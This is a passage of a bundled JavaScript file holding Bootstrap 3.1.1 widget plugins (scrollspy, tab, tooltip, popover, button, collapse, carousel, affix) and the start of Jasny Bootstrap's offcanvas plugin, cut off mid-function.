.on('click.bs.dropdown.data-api', clearMenus) .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle) .on('keydown.bs.dropdown.data-api', toggle + ', [role=menu], [role=listbox]', Dropdown.prototype.keydown) }(jQuery); /* ======================================================================== * Bootstrap: scrollspy.js v3.1.1 * http://getbootstrap.com/javascript/#scrollspy * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // SCROLLSPY CLASS DEFINITION // ========================== function ScrollSpy(element, options) { var href var process = $.proxy(this.process, this) this.$element = $(element).is('body') ? $(window) : $(element) this.$body = $('body') this.$scrollElement = this.$element.on('scroll.bs.scroll-spy.data-api', process) this.options = $.extend({}, ScrollSpy.DEFAULTS, options) this.selector = (this.options.target || ((href = $(element).attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7 || '') + ' .nav li > a' this.offsets = $([]) this.targets = $([]) this.activeTarget = null this.refresh() this.process() } ScrollSpy.DEFAULTS = { offset: 10 } ScrollSpy.prototype.refresh = function () { var offsetMethod = this.$element[0] == window ? 'offset' : 'position' this.offsets = $([]) this.targets = $([]) var self = this var $targets = this.$body .find(this.selector) .map(function () { var $el = $(this) var href = $el.data('target') || $el.attr('href') var $href = /^#./.test(href) && $(href) return ($href && $href.length && $href.is(':visible') && [[ $href[offsetMethod]().top + (!$.isWindow(self.$scrollElement.get(0)) && self.$scrollElement.scrollTop()), href ]]) || null }) .sort(function (a, b) { return a[0] - b[0] }) .each(function () { self.offsets.push(this[0]) self.targets.push(this[1]) }) } ScrollSpy.prototype.process = function () { var scrollTop = this.$scrollElement.scrollTop() + this.options.offset var scrollHeight = this.$scrollElement[0].scrollHeight || this.$body[0].scrollHeight var maxScroll = scrollHeight - this.$scrollElement.height() var offsets = this.offsets var targets = this.targets var activeTarget = this.activeTarget var i if (scrollTop >= maxScroll) { return activeTarget != (i = targets.last()[0]) && this.activate(i) } if (activeTarget && scrollTop <= offsets[0]) { return activeTarget != (i = targets[0]) && this.activate(i) } for (i = offsets.length; i--;) { activeTarget != targets[i] && scrollTop >= offsets[i] && (!offsets[i + 1] || scrollTop <= offsets[i + 1]) && this.activate( targets[i] ) } } ScrollSpy.prototype.activate = function (target) { this.activeTarget = target $(this.selector) .parentsUntil(this.options.target, '.active') .removeClass('active') var selector = this.selector + '[data-target="' + target + '"],' + this.selector + '[href="' + target + '"]' var active = $(selector) .parents('li') .addClass('active') if (active.parent('.dropdown-menu').length) { active = active .closest('li.dropdown') .addClass('active') } active.trigger('activate.bs.scrollspy') } // SCROLLSPY PLUGIN DEFINITION // =========================== var old = $.fn.scrollspy $.fn.scrollspy = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.scrollspy') var options = typeof option == 'object' && option if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.scrollspy.Constructor = ScrollSpy // SCROLLSPY NO CONFLICT // ===================== $.fn.scrollspy.noConflict = function () { $.fn.scrollspy = old return this } // SCROLLSPY DATA-API // ================== $(window).on('load', function () { $('[data-spy="scroll"]').each(function () { var $spy = $(this) $spy.scrollspy($spy.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: tab.js v3.1.1 * http://getbootstrap.com/javascript/#tabs * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TAB CLASS DEFINITION // ==================== var Tab = function (element) { this.element = $(element) } Tab.prototype.show = function () { var $this = this.element var $ul = $this.closest('ul:not(.dropdown-menu)') var selector = $this.data('target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7 } if ($this.parent('li').hasClass('active')) return var previous = $ul.find('.active:last a')[0] var e = $.Event('show.bs.tab', { relatedTarget: previous }) $this.trigger(e) if (e.isDefaultPrevented()) return var $target = $(selector) this.activate($this.parent('li'), $ul) this.activate($target, $target.parent(), function () { $this.trigger({ type: 'shown.bs.tab', relatedTarget: previous }) }) } Tab.prototype.activate = function (element, container, callback) { var $active = container.find('> .active') var transition = callback && $.support.transition && $active.hasClass('fade') function next() { $active .removeClass('active') .find('> .dropdown-menu > .active') .removeClass('active') element.addClass('active') if (transition) { element[0].offsetWidth // reflow for transition element.addClass('in') } else { element.removeClass('fade') } if (element.parent('.dropdown-menu')) { element.closest('li.dropdown').addClass('active') } callback && callback() } transition ? $active .one($.support.transition.end, next) .emulateTransitionEnd(150) : next() $active.removeClass('in') } // TAB PLUGIN DEFINITION // ===================== var old = $.fn.tab $.fn.tab = function ( option ) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tab') if (!data) $this.data('bs.tab', (data = new Tab(this))) if (typeof option == 'string') data[option]() }) } $.fn.tab.Constructor = Tab // TAB NO CONFLICT // =============== $.fn.tab.noConflict = function () { $.fn.tab = old return this } // TAB DATA-API // ============ $(document).on('click.bs.tab.data-api', '[data-toggle="tab"], [data-toggle="pill"]', function (e) { e.preventDefault() $(this).tab('show') }) }(jQuery); /* ======================================================================== * Bootstrap: tooltip.js v3.1.1 * http://getbootstrap.com/javascript/#tooltip * Inspired by the original jQuery.tipsy by Jason Frame * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TOOLTIP PUBLIC CLASS DEFINITION // =============================== var Tooltip = function (element, options) { this.type = this.options = this.enabled = this.timeout = this.hoverState = this.$element = null this.init('tooltip', element, options) } Tooltip.DEFAULTS = { animation: true, placement: 'top', selector: false, template: '<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>', trigger: 'hover focus', title: '', delay: 0, html: false, container: false } Tooltip.prototype.init = function (type, element, options) { this.enabled = true this.type = type this.$element = $(element) this.options = this.getOptions(options) var triggers = this.options.trigger.split(' ') for (var i = triggers.length; i--;) { var trigger = triggers[i] if (trigger == 'click') { this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this)) } else if (trigger != 'manual') { var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin' var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout' this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this)) this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this)) } } this.options.selector ? (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) : this.fixTitle() } Tooltip.prototype.getDefaults = function () { return Tooltip.DEFAULTS } Tooltip.prototype.getOptions = function (options) { options = $.extend({}, this.getDefaults(), this.$element.data(), options) if (options.delay && typeof options.delay == 'number') { options.delay = { show: options.delay, hide: options.delay } } return options } Tooltip.prototype.getDelegateOptions = function () { var options = {} var defaults = this.getDefaults() this._options && $.each(this._options, function (key, value) { if (defaults[key] != value) options[key] = value }) return options } Tooltip.prototype.enter = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget)[this.type](this.getDelegateOptions()).data('bs.' + this.type) clearTimeout(self.timeout) self.hoverState = 'in' if (!self.options.delay || !self.options.delay.show) return self.show() self.timeout = setTimeout(function () { if (self.hoverState == 'in') self.show() }, self.options.delay.show) } Tooltip.prototype.leave = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget)[this.type](this.getDelegateOptions()).data('bs.' + this.type) clearTimeout(self.timeout) self.hoverState = 'out' if (!self.options.delay || !self.options.delay.hide) return self.hide() self.timeout = setTimeout(function () { if (self.hoverState == 'out') self.hide() }, self.options.delay.hide) } Tooltip.prototype.show = function () { var e = $.Event('show.bs.' + this.type) if (this.hasContent() && this.enabled) { this.$element.trigger(e) if (e.isDefaultPrevented()) return var that = this; var $tip = this.tip() this.setContent() if (this.options.animation) $tip.addClass('fade') var placement = typeof this.options.placement == 'function' ? this.options.placement.call(this, $tip[0], this.$element[0]) : this.options.placement var autoToken = /\s?auto?\s?/i var autoPlace = autoToken.test(placement) if (autoPlace) placement = placement.replace(autoToken, '') || 'top' $tip .detach() .css({ top: 0, left: 0, display: 'block' }) .addClass(placement) this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element) var pos = this.getPosition() var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (autoPlace) { var $parent = this.$element.parent() var orgPlacement = placement var docScroll = document.documentElement.scrollTop || document.body.scrollTop var parentWidth = this.options.container == 'body' ? window.innerWidth : $parent.outerWidth() var parentHeight = this.options.container == 'body' ? window.innerHeight : $parent.outerHeight() var parentLeft = this.options.container == 'body' ? 0 : $parent.offset().left placement = placement == 'bottom' && pos.top + pos.height + actualHeight - docScroll > parentHeight ? 'top' : placement == 'top' && pos.top - docScroll - actualHeight < 0 ? 'bottom' : placement == 'right' && pos.right + actualWidth > parentWidth ? 'left' : placement == 'left' && pos.left - actualWidth < parentLeft ? 'right' : placement $tip .removeClass(orgPlacement) .addClass(placement) } var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight) this.applyPlacement(calculatedOffset, placement) this.hoverState = null var complete = function() { that.$element.trigger('shown.bs.' + that.type) } $.support.transition && this.$tip.hasClass('fade') ? $tip .one($.support.transition.end, complete) .emulateTransitionEnd(150) : complete() } } Tooltip.prototype.applyPlacement = function (offset, placement) { var replace var $tip = this.tip() var width = $tip[0].offsetWidth var height = $tip[0].offsetHeight // manually read margins because getBoundingClientRect includes difference var marginTop = parseInt($tip.css('margin-top'), 10) var marginLeft = parseInt($tip.css('margin-left'), 10) // we must check for NaN for ie 8/9 if (isNaN(marginTop)) marginTop = 0 if (isNaN(marginLeft)) marginLeft = 0 offset.top = offset.top + marginTop offset.left = offset.left + marginLeft // $.fn.offset doesn't round pixel values // so we use setOffset directly with our own function B-0 $.offset.setOffset($tip[0], $.extend({ using: function (props) { $tip.css({ top: Math.round(props.top), left: Math.round(props.left) }) } }, offset), 0) $tip.addClass('in') // check to see if placing tip in new offset caused the tip to resize itself var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (placement == 'top' && actualHeight != height) { replace = true offset.top = offset.top + height - actualHeight } if (/bottom|top/.test(placement)) { var delta = 0 if (offset.left < 0) { delta = offset.left * -2 offset.left = 0 $tip.offset(offset) actualWidth = $tip[0].offsetWidth actualHeight = $tip[0].offsetHeight } this.replaceArrow(delta - width + actualWidth, actualWidth, 'left') } else { this.replaceArrow(actualHeight - height, actualHeight, 'top') } if (replace) $tip.offset(offset) } Tooltip.prototype.replaceArrow = function (delta, dimension, position) { this.arrow().css(position, delta ? (50 * (1 - delta / dimension) + '%') : '') } Tooltip.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title) $tip.removeClass('fade in top bottom left right') } Tooltip.prototype.hide = function () { var that = this var $tip = this.tip() var e = $.Event('hide.bs.' + this.type) function complete() { if (that.hoverState != 'in') $tip.detach() that.$element.trigger('hidden.bs.' + that.type) } this.$element.trigger(e) if (e.isDefaultPrevented()) return $tip.removeClass('in') $.support.transition && this.$tip.hasClass('fade') ? $tip .one($.support.transition.end, complete) .emulateTransitionEnd(150) : complete() this.hoverState = null return this } Tooltip.prototype.fixTitle = function () { var $e = this.$element if ($e.attr('title') || typeof($e.attr('data-original-title')) != 'string') { $e.attr('data-original-title', $e.attr('title') || '').attr('title', '') } } Tooltip.prototype.hasContent = function () { return this.getTitle() } Tooltip.prototype.getPosition = function () { var el = this.$element[0] return $.extend({}, (typeof el.getBoundingClientRect == 'function') ? el.getBoundingClientRect() : { width: el.offsetWidth, height: el.offsetHeight }, this.$element.offset()) } Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) { return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } : /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width } } Tooltip.prototype.getTitle = function () { var title var $e = this.$element var o = this.options title = $e.attr('data-original-title') || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title) return title } Tooltip.prototype.tip = function () { return this.$tip = this.$tip || $(this.options.template) } Tooltip.prototype.arrow = function () { return this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow') } Tooltip.prototype.validate = function () { if (!this.$element[0].parentNode) { this.hide() this.$element = null this.options = null } } Tooltip.prototype.enable = function () { this.enabled = true } Tooltip.prototype.disable = function () { this.enabled = false } Tooltip.prototype.toggleEnabled = function () { this.enabled = !this.enabled } Tooltip.prototype.toggle = function (e) { var self = e ? $(e.currentTarget)[this.type](this.getDelegateOptions()).data('bs.' + this.type) : this self.tip().hasClass('in') ? self.leave(self) : self.enter(self) } Tooltip.prototype.destroy = function () { clearTimeout(this.timeout) this.hide().$element.off('.' + this.type).removeData('bs.' + this.type) } // TOOLTIP PLUGIN DEFINITION // ========================= var old = $.fn.tooltip $.fn.tooltip = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tooltip') var options = typeof option == 'object' && option if (!data && option == 'destroy') return if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.tooltip.Constructor = Tooltip // TOOLTIP NO CONFLICT // =================== $.fn.tooltip.noConflict = function () { $.fn.tooltip = old return this } }(jQuery); /* ======================================================================== * Bootstrap: popover.js v3.1.1 * http://getbootstrap.com/javascript/#popovers * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // POPOVER PUBLIC CLASS DEFINITION // =============================== var Popover = function (element, options) { this.init('popover', element, options) } if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, { placement: 'right', trigger: 'click', content: '', template: '<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>' }) // NOTE: POPOVER EXTENDS tooltip.js // ================================ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) Popover.prototype.constructor = Popover Popover.prototype.getDefaults = function () { return Popover.DEFAULTS } Popover.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() var content = this.getContent() $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) $tip.find('.popover-content')[ // we use append for html objects to maintain js events this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text' ](content) $tip.removeClass('fade top bottom left right in') // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do // this manually by checking the contents. if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide() } Popover.prototype.hasContent = function () { return this.getTitle() || this.getContent() } Popover.prototype.getContent = function () { var $e = this.$element var o = this.options return $e.attr('data-content') || (typeof o.content == 'function' ? o.content.call($e[0]) : o.content) } Popover.prototype.arrow = function () { return this.$arrow = this.$arrow || this.tip().find('.arrow') } Popover.prototype.tip = function () { if (!this.$tip) this.$tip = $(this.options.template) return this.$tip } // POPOVER PLUGIN DEFINITION // ========================= var old = $.fn.popover $.fn.popover = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.popover') var options = typeof option == 'object' && option if (!data && option == 'destroy') return if (!data) $this.data('bs.popover', (data = new Popover(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.popover.Constructor = Popover // POPOVER NO CONFLICT // =================== $.fn.popover.noConflict = function () { $.fn.popover = old return this } }(jQuery); /* ======================================================================== * Bootstrap: button.js v3.1.1 * http://getbootstrap.com/javascript/#buttons * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // BUTTON PUBLIC CLASS DEFINITION // ============================== var Button = function (element, options) { this.$element = $(element) this.options = $.extend({}, Button.DEFAULTS, options) this.isLoading = false } Button.DEFAULTS = { loadingText: 'loading...' } Button.prototype.setState = function (state) { var d = 'disabled' var $el = this.$element var val = $el.is('input') ? 'val' : 'html' var data = $el.data() state = state + 'Text' if (!data.resetText) $el.data('resetText', $el[val]()) $el[val](data[state] || this.options[state]) // push to event loop to allow forms to submit setTimeout($.proxy(function () { if (state == 'loadingText') { this.isLoading = true $el.addClass(d).attr(d, d) } else if (this.isLoading) { this.isLoading = false $el.removeClass(d).removeAttr(d) } }, this), 0) } Button.prototype.toggle = function () { var changed = true var $parent = this.$element.closest('[data-toggle="buttons"]') if ($parent.length) { var $input = this.$element.find('input') if ($input.prop('type') == 'radio') { if ($input.prop('checked') && this.$element.hasClass('active')) changed = false else $parent.find('.active').removeClass('active') } if (changed) $input.prop('checked', !this.$element.hasClass('active')).trigger('change') } if (changed) this.$element.toggleClass('active') } // BUTTON PLUGIN DEFINITION // ======================== var old = $.fn.button $.fn.button = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.button') var options = typeof option == 'object' && option if (!data) $this.data('bs.button', (data = new Button(this, options))) if (option == 'toggle') data.toggle() else if (option) data.setState(option) }) } $.fn.button.Constructor = Button // BUTTON NO CONFLICT // ================== $.fn.button.noConflict = function () { $.fn.button = old return this } // BUTTON DATA-API // =============== $(document).on('click.bs.button.data-api', '[data-toggle^=button]', function (e) { var $btn = $(e.target) if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn') $btn.button('toggle') e.preventDefault() }) }(jQuery); /* ======================================================================== * Bootstrap: collapse.js v3.1.1 * http://getbootstrap.com/javascript/#collapse * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // COLLAPSE PUBLIC CLASS DEFINITION // ================================ var Collapse = function (element, options) { this.$element = $(element) this.options = $.extend({}, Collapse.DEFAULTS, options) this.transitioning = null if (this.options.parent) this.$parent = $(this.options.parent) if (this.options.toggle) this.toggle() } Collapse.DEFAULTS = { toggle: true } Collapse.prototype.dimension = function () { var hasWidth = this.$element.hasClass('width') return hasWidth ? 'width' : 'height' } Collapse.prototype.show = function () { if (this.transitioning || this.$element.hasClass('in')) return var startEvent = $.Event('show.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return var actives = this.$parent && this.$parent.find('> .panel > .in') if (actives && actives.length) { var hasData = actives.data('bs.collapse') if (hasData && hasData.transitioning) return actives.collapse('hide') hasData || actives.data('bs.collapse', null) } var dimension = this.dimension() this.$element .removeClass('collapse') .addClass('collapsing') [dimension](0) this.transitioning = 1 var complete = function () { this.$element .removeClass('collapsing') .addClass('collapse in') [dimension]('auto') this.transitioning = 0 this.$element.trigger('shown.bs.collapse') } if (!$.support.transition) return complete.call(this) var scrollSize = $.camelCase(['scroll', dimension].join('-')) this.$element .one($.support.transition.end, $.proxy(complete, this)) .emulateTransitionEnd(350) [dimension](this.$element[0][scrollSize]) } Collapse.prototype.hide = function () { if (this.transitioning || !this.$element.hasClass('in')) return var startEvent = $.Event('hide.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return var dimension = this.dimension() this.$element [dimension](this.$element[dimension]()) [0].offsetHeight this.$element .addClass('collapsing') .removeClass('collapse') .removeClass('in') this.transitioning = 1 var complete = function () { this.transitioning = 0 this.$element .trigger('hidden.bs.collapse') .removeClass('collapsing') .addClass('collapse') } if (!$.support.transition) return complete.call(this) this.$element [dimension](0) .one($.support.transition.end, $.proxy(complete, this)) .emulateTransitionEnd(350) } Collapse.prototype.toggle = function () { this[this.$element.hasClass('in') ? 'hide' : 'show']() } // COLLAPSE PLUGIN DEFINITION // ========================== var old = $.fn.collapse $.fn.collapse = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.collapse') var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data && options.toggle && option == 'show') option = !option if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.collapse.Constructor = Collapse // COLLAPSE NO CONFLICT // ==================== $.fn.collapse.noConflict = function () { $.fn.collapse = old return this } // COLLAPSE DATA-API // ================= $(document).on('click.bs.collapse.data-api', '[data-toggle=collapse]', function (e) { var $this = $(this), href var target = $this.attr('data-target') || e.preventDefault() || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') //strip for ie7 var $target = $(target) var data = $target.data('bs.collapse') var option = data ? 'toggle' : $this.data() var parent = $this.attr('data-parent') var $parent = parent && $(parent) if (!data || !data.transitioning) { if ($parent) $parent.find('[data-toggle=collapse][data-parent="' + parent + '"]').not($this).addClass('collapsed') $this[$target.hasClass('in') ? 'addClass' : 'removeClass']('collapsed') } $target.collapse(option) }) }(jQuery); /* ======================================================================== * Bootstrap: carousel.js v3.1.1 * http://getbootstrap.com/javascript/#carousel * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CAROUSEL CLASS DEFINITION // ========================= var Carousel = function (element, options) { this.$element = $(element) this.$indicators = this.$element.find('.carousel-indicators') this.options = options this.paused = this.sliding = this.interval = this.$active = this.$items = null this.options.pause == 'hover' && this.$element .on('mouseenter', $.proxy(this.pause, this)) .on('mouseleave', $.proxy(this.cycle, this)) } Carousel.DEFAULTS = { interval: 5000, pause: 'hover', wrap: true } Carousel.prototype.cycle = function (e) { e || (this.paused = false) this.interval && clearInterval(this.interval) this.options.interval && !this.paused && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) return this } Carousel.prototype.getActiveIndex = function () { this.$active = this.$element.find('.item.active') this.$items = this.$active.parent().children() return this.$items.index(this.$active) } Carousel.prototype.to = function (pos) { var that = this var activeIndex = this.getActiveIndex() if (pos > (this.$items.length - 1) || pos < 0) return if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) if (activeIndex == pos) return this.pause().cycle() return this.slide(pos > activeIndex ? 'next' : 'prev', $(this.$items[pos])) } Carousel.prototype.pause = function (e) { e || (this.paused = true) if (this.$element.find('.next, .prev').length && $.support.transition) { this.$element.trigger($.support.transition.end) this.cycle(true) } this.interval = clearInterval(this.interval) return this } Carousel.prototype.next = function () { if (this.sliding) return return this.slide('next') } Carousel.prototype.prev = function () { if (this.sliding) return return this.slide('prev') } Carousel.prototype.slide = function (type, next) { var $active = this.$element.find('.item.active') var $next = next || $active[type]() var isCycling = this.interval var direction = type == 'next' ? 'left' : 'right' var fallback = type == 'next' ? 'first' : 'last' var that = this if (!$next.length) { if (!this.options.wrap) return $next = this.$element.find('.item')[fallback]() } if ($next.hasClass('active')) return this.sliding = false var e = $.Event('slide.bs.carousel', { relatedTarget: $next[0], direction: direction }) this.$element.trigger(e) if (e.isDefaultPrevented()) return this.sliding = true isCycling && this.pause() if (this.$indicators.length) { this.$indicators.find('.active').removeClass('active') this.$element.one('slid.bs.carousel', function () { var $nextIndicator = $(that.$indicators.children()[that.getActiveIndex()]) $nextIndicator && $nextIndicator.addClass('active') }) } if ($.support.transition && this.$element.hasClass('slide')) { $next.addClass(type) $next[0].offsetWidth // force reflow $active.addClass(direction) $next.addClass(direction) $active .one($.support.transition.end, function () { $next.removeClass([type, direction].join(' ')).addClass('active') $active.removeClass(['active', direction].join(' ')) that.sliding = false setTimeout(function () { that.$element.trigger('slid.bs.carousel') }, 0) }) .emulateTransitionEnd($active.css('transition-duration').slice(0, -1) * 1000) } else { $active.removeClass('active') $next.addClass('active') this.sliding = false this.$element.trigger('slid.bs.carousel') } isCycling && this.cycle() return this } // CAROUSEL PLUGIN DEFINITION // ========================== var old = $.fn.carousel $.fn.carousel = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.carousel') var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) var action = typeof option == 'string' ? option : options.slide if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) if (typeof option == 'number') data.to(option) else if (action) data[action]() else if (options.interval) data.pause().cycle() }) } $.fn.carousel.Constructor = Carousel // CAROUSEL NO CONFLICT // ==================== $.fn.carousel.noConflict = function () { $.fn.carousel = old return this } // CAROUSEL DATA-API // ================= $(document).on('click.bs.carousel.data-api', '[data-slide], [data-slide-to]', function (e) { var $this = $(this), href var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7 var options = $.extend({}, $target.data(), $this.data()) var slideIndex = $this.attr('data-slide-to') if (slideIndex) options.interval = false $target.carousel(options) if (slideIndex = $this.attr('data-slide-to')) { $target.data('bs.carousel').to(slideIndex) } e.preventDefault() }) $(window).on('load', function () { $('[data-ride="carousel"]').each(function () { var $carousel = $(this) $carousel.carousel($carousel.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: affix.js v3.1.1 * http://getbootstrap.com/javascript/#affix * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // AFFIX CLASS DEFINITION // ====================== var Affix = function (element, options) { this.options = $.extend({}, Affix.DEFAULTS, options) this.$window = $(window) .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this)) .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this)) this.$element = $(element) this.affixed = this.unpin = this.pinnedOffset = null this.checkPosition() } Affix.RESET = 'affix affix-top affix-bottom' Affix.DEFAULTS = { offset: 0 } Affix.prototype.getPinnedOffset = function () { if (this.pinnedOffset) return this.pinnedOffset this.$element.removeClass(Affix.RESET).addClass('affix') var scrollTop = this.$window.scrollTop() var position = this.$element.offset() return (this.pinnedOffset = position.top - scrollTop) } Affix.prototype.checkPositionWithEventLoop = function () { setTimeout($.proxy(this.checkPosition, this), 1) } Affix.prototype.checkPosition = function () { if (!this.$element.is(':visible')) return var scrollHeight = $(document).height() var scrollTop = this.$window.scrollTop() var position = this.$element.offset() var offset = this.options.offset var offsetTop = offset.top var offsetBottom = offset.bottom if (this.affixed == 'top') position.top += scrollTop if (typeof offset != 'object') offsetBottom = offsetTop = offset if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element) if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element) var affix = this.unpin != null && (scrollTop + this.unpin <= position.top) ? false : offsetBottom != null && (position.top + this.$element.height() >= scrollHeight - offsetBottom) ? 'bottom' : offsetTop != null && (scrollTop <= offsetTop) ? 'top' : false if (this.affixed === affix) return if (this.unpin) this.$element.css('top', '') var affixType = 'affix' + (affix ? '-' + affix : '') var e = $.Event(affixType + '.bs.affix') this.$element.trigger(e) if (e.isDefaultPrevented()) return this.affixed = affix this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null this.$element .removeClass(Affix.RESET) .addClass(affixType) .trigger($.Event(affixType.replace('affix', 'affixed'))) if (affix == 'bottom') { this.$element.offset({ top: scrollHeight - offsetBottom - this.$element.height() }) } } // AFFIX PLUGIN DEFINITION // ======================= var old = $.fn.affix $.fn.affix = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.affix') var options = typeof option == 'object' && option if (!data) $this.data('bs.affix', (data = new Affix(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.affix.Constructor = Affix // AFFIX NO CONFLICT // ================= $.fn.affix.noConflict = function () { $.fn.affix = old return this } // AFFIX DATA-API // ============== $(window).on('load', function () { $('[data-spy="affix"]').each(function () { var $spy = $(this) var data = $spy.data() data.offset = data.offset || {} if (data.offsetBottom) data.offset.bottom = data.offsetBottom if (data.offsetTop) data.offset.top = data.offsetTop $spy.affix(data) }) }) }(jQuery); (function() { jQuery(function() { $("a[rel=popover]").popover(); $(".tooltip").tooltip(); return $("a[rel=tooltip]").tooltip(); }); }).call(this); (function() { }).call(this); /*! * Jasny Bootstrap v3.1.0 (http://jasny.github.io/bootstrap) * Copyright 2012-2014 Arnold Daniels * Licensed under Apache-2.0 (https://github.com/jasny/bootstrap/blob/master/LICENSE) */ if (typeof jQuery === 'undefined') { throw new Error('Jasny Bootstrap\'s JavaScript requires jQuery') } /* ======================================================================== * Bootstrap: offcanvas.js v3.0.3-p7 * http://jasny.github.io/bootstrap/javascript.html#offcanvas * * Based on Boostrap collapse.js by Twitter, Inc. * ======================================================================== * Copyright 2013 Jasny, BV. * * Licensed under the Apache License, Version 2.0 (the "License") * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ======================================================================== */ +function ($) { "use strict"; // OFFCANVAS PUBLIC CLASS DEFINITION // ================================= var OffCanvas = function (element, options) { this.$element = $(element) this.options = $.extend({}, OffCanvas.DEFAULTS, options) this.state = null if (this.options.recalc) { this.calcClone() $(window).on('resize', $.proxy(this.recalc, this)) } if (this.options.autohide) $(document).on('click', $.proxy(this.autohide, this)) if (this.options.toggle) this.toggle() } OffCanvas.DEFAULTS = { toggle: true, placement: 'left', autohide: true, recalc: true } OffCanvas.prototype.offset = function () { switch (this.options.placement) { case 'left': case 'right': return this.$element.outerWidth() case 